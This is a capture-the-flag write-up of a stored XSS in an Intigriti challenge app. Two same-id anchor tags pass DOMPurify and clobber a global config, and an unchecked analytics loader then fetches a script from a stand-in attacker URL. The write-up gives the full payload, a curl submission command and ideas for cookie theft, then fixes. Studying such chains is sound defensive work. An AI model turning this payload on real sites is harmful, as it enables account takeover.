Intigriti · Stored XSS · May 2026 · Accepted

Stored XSS via DOM Clobbering + Unsafe Script Gadget

Two quiet bugs — DOMPurify's tolerance for clobbering anchors and a script loader that trusts whatever it finds on window — chain together into a stored XSS that fires on any victim with one page load.

challenge-0526.intigriti.io
Type: Stored XSS
Severity: High
Clicks: 1

The Setup

The challenge is a retro-styled arcade app called Pixel Pioneers. You can register an account, update your display name, and leave testimonials that other users see on the main page.

The obvious attack surface is the testimonials feed — user-submitted content that ends up in the DOM. The app uses DOMPurify 3.0.9 to sanitize it, which is normally a solid choice. For the display name field, the backend strips < and > server-side, so that's a dead end.

At first glance there's nothing here. But after reading the JavaScript carefully, two things stood out that, when combined, bypassed the whole setup:

DOM Clobbering via DOMPurify Unsafe script loader gadget

Neither bug is catastrophic on its own. Together they're a working stored XSS with a one-click trigger.

Reading the Code

First thing I did was read app.js front to back. The testimonials renderer caught my attention immediately. Display names go straight into innerHTML with no sanitization, while the content body gets DOMPurified:

app.js — loadTestimonials()
nameDiv.innerHTML = t.user_name;   // no sanitization at all
textDiv.innerHTML = DOMPurify.sanitize(t.content);

The name field looks promising — raw innerHTML assignment. But the server blocks angle brackets in names, so that's a wall. The interesting path is the content field, going through DOMPurify.

Then, buried at the bottom of loadTestimonials(), was this:

app.js — analytics loader
let config = window.PixelAnalyticsConfig || { enabled: false, scriptUrl: '/js/mock-tracker.js' };
if (config.enabled) {
    let s = document.createElement('script');
    s.src = config.scriptUrl;   // loads whatever this says — no checks
    document.body.appendChild(s);
}

This is the gadget. If window.PixelAnalyticsConfig exists with enabled set to something truthy, the app creates a <script> element pointed at scriptUrl and appends it to the page. No origin check. No validation. Completely blind.

So the question became: can I control window.PixelAnalyticsConfig from inside DOMPurify-sanitized HTML? That's where DOM clobbering comes in.

DOM Clobbering via DOMPurify

Quick primer if you haven't seen this before: browsers automatically expose any element with an id attribute as a property on window. If you have <div id="foo"> somewhere in the page, you can reach it as window.foo. It's a legacy browser behavior that's never going away.

It gets more useful when two elements share the same id. The browser wraps them in an HTMLCollection at that property, and sub-properties of that collection can be accessed by each element's name attribute. In other words — two plain <a> tags are enough to fake a two-level JavaScript object.

DOMPurify 3.0.9 blocks scripts, event handlers, and dangerous tags. It fully allows <a> elements with id, name, and href. That's the only gap we need.

The payload is two anchor tags:

DOM Clobbering Payload
<a id="PixelAnalyticsConfig" name="scriptUrl" href="https://attacker.com/xss.js"></a>
<a id="PixelAnalyticsConfig" name="enabled"></a>

Once these land in the DOM, here's what the browser exposes:

Browser Console — After Injection
window.PixelAnalyticsConfig
→ HTMLCollection(2) [a#PixelAnalyticsConfig, a#PixelAnalyticsConfig]

window.PixelAnalyticsConfig.enabled
→ <a name="enabled">  // a real DOM element — truthy

window.PixelAnalyticsConfig.scriptUrl.toString()
→ "https://attacker.com/xss.js"  // HTMLAnchorElement.toString() returns href

The key behavior: HTMLAnchorElement.toString() returns the element's href. When the app does s.src = config.scriptUrl, JavaScript coerces the anchor element to a string automatically — and that string is our URL.

DOMPurify sees two perfectly valid anchor tags and passes them through. It has no way to know they'll clobber a global variable and weaponize a script loader.

The Unsafe Script Gadget

The second bug is the analytics loader we found during recon. It runs at the end of every loadTestimonials() call and checks two things: is config.enabled truthy? Is there a scriptUrl? If yes to both, it appends a script tag to the page pointing at that URL.

The problem is that it never validates what window.PixelAnalyticsConfig actually is. It doesn't check whether it's a plain object. It doesn't verify the URL. It just reads whatever it finds on window and runs with it.

Our clobbered HTMLCollection satisfies both conditions — enabled is a DOM element (truthy), and scriptUrl resolves to our attacker URL via the anchor's href. The app loads our script without question.

This is what makes the chain work. The two bugs don't overlap — one lets you write into the global namespace through sanitized HTML, the other reads from the global namespace without verifying what it got.

The Attack Chain

1

Attacker posts the payload as a testimonial

The two clobbering anchors get stored in the database. The server doesn't flag them — they look like valid HTML to any sanitizer check at storage time.

2

Victim opens the testimonials page

One click on the challenge URL is enough. The page fetches and renders the testimonials feed including our stored content.

3

DOMPurify passes the payload

<a> with id, name, and href are all on the allowlist. The payload survives sanitization completely intact.

4

Anchors land in the DOM — clobbering takes effect

window.PixelAnalyticsConfig is now an HTMLCollection. .enabled is truthy. .scriptUrl.toString() returns the attacker's URL.

5

Tracker fires — external script loads — XSS executes

The app appends <script src="attacker.com/xss.js"> to the body. alert(document.domain) fires on the challenge origin.

Reproducing the Bug

01

Register an account

Go to #register and create any account. Log in to get a valid session cookie.

02

Submit the clobbering payload as your testimonial

Either use the UI form or send the request directly:

bash
curl -X POST https://challenge-0526.intigriti.io/api/testimonials \
  -H "Content-Type: application/json" \
  -H "Cookie: session=<your-session>" \
  -d '{"content":"<a id=\"PixelAnalyticsConfig\" name=\"scriptUrl\" href=\"https://cdn.jsdelivr.net/gh/renniepak/xss/xss.js\"></a><a id=\"PixelAnalyticsConfig\" name=\"enabled\"></a>"}'
03

Send the victim to the testimonials page

The payload fires immediately on page load — no further interaction needed:

Trigger URL
https://challenge-0526.intigriti.io/challenge#testimonials
04

Observe execution

The browser loads the feed, clobbering happens silently in the background, and alert(document.domain) pops on the challenge origin.

Final Payload

Payload — HTML submitted as testimonial content
<a id="PixelAnalyticsConfig"
   name="scriptUrl"
   href="https://cdn.jsdelivr.net/gh/renniepak/xss/xss.js"></a>
<a id="PixelAnalyticsConfig"
   name="enabled"></a>
Hosted payload — xss.js
alert(document.domain);
Property Resolves To Result
window.PixelAnalyticsConfig HTMLCollection of 2 anchors Truthy
config.enabled <a name="enabled"> element Truthy
config.scriptUrl <a name="scriptUrl"> element Truthy
config.scriptUrl.toString() Anchor's href URL Attacker URL
script.src = config.scriptUrl External JS appended to body XSS

What You Can Do With It

Once an external script runs on the challenge origin, the usual XSS options are on the table. The session cookies don't have the HttpOnly flag, so JavaScript can read them directly — account takeover with one cookie exfil. Full DOM access also means injecting fake login forms to harvest credentials, or just redirecting users to somewhere else entirely.

For a CTF this is rated High, which makes sense. Stored XSS that fires with no user interaction beyond a single page visit is a genuinely dangerous class of bug. The one-click delivery and the fact that any user visiting the testimonials page is affected makes the blast radius wide.

How to Fix It

Both issues have clean fixes. They're independent — you'd want to apply all of them:

Issue Fix
DOM Clobbering Pass FORBID_ATTR: ['id', 'name'] to DOMPurify — removes the attributes that make clobbering possible
Script gadget trusts window Check config.constructor === Object before using the config — DOM elements will fail this immediately
No Content Security Policy A script-src 'self' header would have blocked the external script from loading entirely
Cookie flags Add HttpOnly and Secure to session cookies to limit post-XSS damage

Hardened version of the tracker code

JavaScript — Fixed
// Strip id and name to prevent DOM clobbering
textDiv.innerHTML = DOMPurify.sanitize(t.content, {
    FORBID_ATTR: ['id', 'name']
});

// Only use config if it's actually a plain object
const raw = window.PixelAnalyticsConfig;
if (raw && raw.constructor === Object && typeof raw.scriptUrl === 'string') {
    // safe to proceed
}

The constructor === Object check is the key. DOM elements like HTMLCollection have their own constructors, so a clobbered value fails immediately. A clobbered element will never satisfy this check.